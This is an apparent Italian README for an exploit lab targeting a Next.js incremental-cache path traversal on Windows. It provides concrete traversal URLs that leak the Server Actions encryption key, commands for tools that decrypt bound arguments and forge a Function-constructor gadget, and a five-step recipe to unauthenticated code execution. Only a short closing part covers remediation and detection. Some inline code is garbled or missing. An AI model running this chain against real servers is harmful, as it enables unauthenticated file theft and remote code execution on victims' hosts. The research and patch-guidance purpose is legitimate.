
# Laboratorio di riproduzione e strumenti di exploit per CVE-2026-75604, un path traversal nella cache incrementale di Next.js che porta a RCE non autenticata su Windows. Include PoC, CLI di forgiatura e harness per i test.
Laboratorio di riproduzione e tooling per l'exploit di CVE-2026-75604, un path-traversal non autenticato nella cache incrementale di Next.js che colpisce gli host Windows. Un singolo backslash non escapato consente a un attaccante di leggere e scrivere file al di fuori della directory della cache; sulle versioni e configurazioni d'app corrette si arriva a esecuzione remota di codice non autenticata.
Ricerca di Fortbridge. Analisi completa: Riproduzione di CVE-2026-75604 (link al blog - da aggiornare dopo la pubblicazione).
⚠️ Solo test autorizzati. Questa è un'applicazione volutamente vulnerabile e un exploit funzionante per una CVE corretta. Usala su una rete di laboratorio isolata di tua proprietà. Non distribuire mai il target in luoghi raggiungibili dalla produzione o da internet.
escapePathDelimiters (utility del router di Next.js) esclude /, #, ? ma .
Un backslash percent-encoded () in un segmento di rotta viene decodificato in un grezzo, sopravvive
nella chiave della cache incrementale e - poiché su Windows è un separatore di percorso -
esce dalla root della cache. Lo stesso codice gestisce della cache,
consentendo lettura e scrittura arbitraria di file. Solo Windows; Linux/macOS trattano
come un normale carattere di nome file.
\%5C\\path.join()\Versioni affette: 13.4-15.5.23 e 16.0-16.3.2. Corrette: 15.5.24 / 16.3.3.
Il traversal copre l'intero intervallo affetto, ma il gadget per l'RCE (una property-chain React Flight
constructor:constructor che risolve nel costruttore Function)
funziona solo dove react-server-dom-webpack non ha la reference guard aggiunta a metà ciclo di vita:
| Intervallo Next.js | Gadget → Function | Impatto |
|---|---|---|
| 13.4 - 14.x | no (nessun supporto property-path) | lettura / scrittura / bypass authz |
| 15.0.0 - 15.5.22 | sì | capace di RCE |
| 15.5.23 | no (guard aggiunta) | solo traversal |
| 16.0.0 - 16.2.x | sì | capace di RCE |
| 16.3.0 - 16.3.2 | no (guard aggiunta) | solo traversal |
| 15.5.24 / 16.3.3 | - | corrette |
L'RCE richiede anche una Server Action di ordine superiore lato app che chiami un valore legato a una closure
con input utente (boundFn(input)()). Le app senza questo pattern affrontano comunque divulgazione,
scrittura/DoS e bypass dell'autorizzazione delle Server Action. Vedi research/FINDINGS.md
e research/rce-version-matrix.txt.
| percorso | cosa |
|---|---|
setup-windows.ps1 | build + avvio del laboratorio vulnerabile su host Windows (default Next 16.2.0) |
app/ | target vulnerabile minimale: Server Action home (sink RCE) + due rotte catch-all in cache |
exploit.mjs | PoC sola lettura - leak di encryptionKey tramite il traversal (--burp, --raw, --write) |
forge-cli.mjs | decrypt di un bound arg genuino / gadget per forgiare il blob Function |
send-action.mjs | passi 4-5 in un comando: POST forgiata + lettura dell'output (--proof, --burp) |
harness/ | riscoperta indipendente dall'OS - esegue il codice 16.3.2/16.3.3 non modificato sotto path.win32 |
BURP-STEPS.md | la ricetta coerente di riproduzione in 5 passi |
research/ | diff della patch, matrice delle versioni, risultati |
evidence/ | screenshot di un'esecuzione verificata |
# build + avvio del laboratorio vulnerabile (Next.js 16.2.0)
powershell -File setup-windows.ps1 # stampa BUILD_ID e URL di verifica
# passo 1 (browser): riscalda, poi apri la lettura del traversal → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (riscalda)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# passi 2-3: decripta un bound arg genuino, poi forgi il gadget Function
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# passi 4-5 (tramite Burp): POST forgiata + rilettura in un comando
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
Niente box Windows? node harness/harness.mjs dimostra il traversal su qualsiasi OS guidando il
codice reale distribuito di Next.js 16.3.2 e 16.3.3 con path legato a path.win32.
Aggiorna a 15.5.24 o 16.3.3. Non esiste workaround in-place per gli host Windows affetti.
Ruota i segreti che la lettura potrebbe aver esposto - in particolare
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (una chiave leakata resta valida tra rebuild quando è pinnata).
%5C / ..%5C in un segmento di rotta verso /_next/data/… o percorsi App Router in cache.{"pageProps":…,"__N_SSG":true} (la lettura distruttiva)..html / .rsc / .meta) scritti fuori da .next\server\app\ o .next\server\pages\.